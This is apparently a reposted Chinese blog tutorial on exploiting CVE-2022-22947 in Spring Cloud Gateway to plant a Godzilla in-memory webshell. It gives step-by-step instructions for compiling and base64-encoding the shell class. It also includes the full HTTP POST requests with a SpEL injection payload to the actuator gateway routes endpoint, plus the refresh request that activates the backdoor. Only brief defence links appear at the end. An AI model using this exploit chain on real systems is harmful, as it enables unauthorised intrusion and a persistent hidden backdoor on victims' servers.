欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

春季云网关注入哥斯拉 内存马复制

最编程 2024-07-09 14:54:46
...
【开源中国 APP 全新上线】“动弹” 回归、集成大模型对话、畅读技术报告”

原文链接:https://mp.weixin.qq.com/s/2wKB3jACAkIiIZ96tVb5fA

1)首先为了方便,我搞了一个springboot项目,package的名字为 com.example

 

2)编译代码到class文件

https://github.com/k4n5ha0/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java

将原文的以上代码修改第一行package为:

package com.example;

并执行该springboot项目,得到class文件(也可以先改改密码什么的,再编译得到class文件)

 

3)加载class文件并输出为字符串类型,方便后期注入内存_马

把上一步得到的class文件放到项目根文件夹中(idea默认加载目录为maven根目录)

然后在springboot的main函数中获得class的字符串内容

String s = org.springframework.util.Base64Utils.encodeToString(FileReaderUtils.readOnce("GMemShell.class"));
System.out.println("---");
System.out.println(s);
System.out.println("---");

把输出的字符串在 --- 之间的复制出来就是我们需要的注入的字符串

 

4)注入一个名为gmem的内存_马

4.1)url路径对应修改2处gmem关键词
4.2)注意要将类名依照实际情况写为 com.example.GMemShell 才能正常注入

最终请求修正为:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 11039

{
"predicates":[{"name": "Path",
"args":{"_genkey_0":"/gmem/**"}
}
],
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('base64编码后的内存马粘贴到此处'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"
    }
  }],
  "uri": "http://test.com"
}

 

5)刷新,注入的内存_马就会生效

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0




注意!上面这个请求别忘记http以2个\r\n结尾,所以不要忘记最后需要空一行!

6)检验

 

防御信息:

https://www.oschina.net/news/233869 
https://github.com/spring-projects/spring-framework/commit/ebc82654282bda547fbc20a9749ab1bda886a46f
spring已经限制spel表达式最长为10000个字符

禁止转载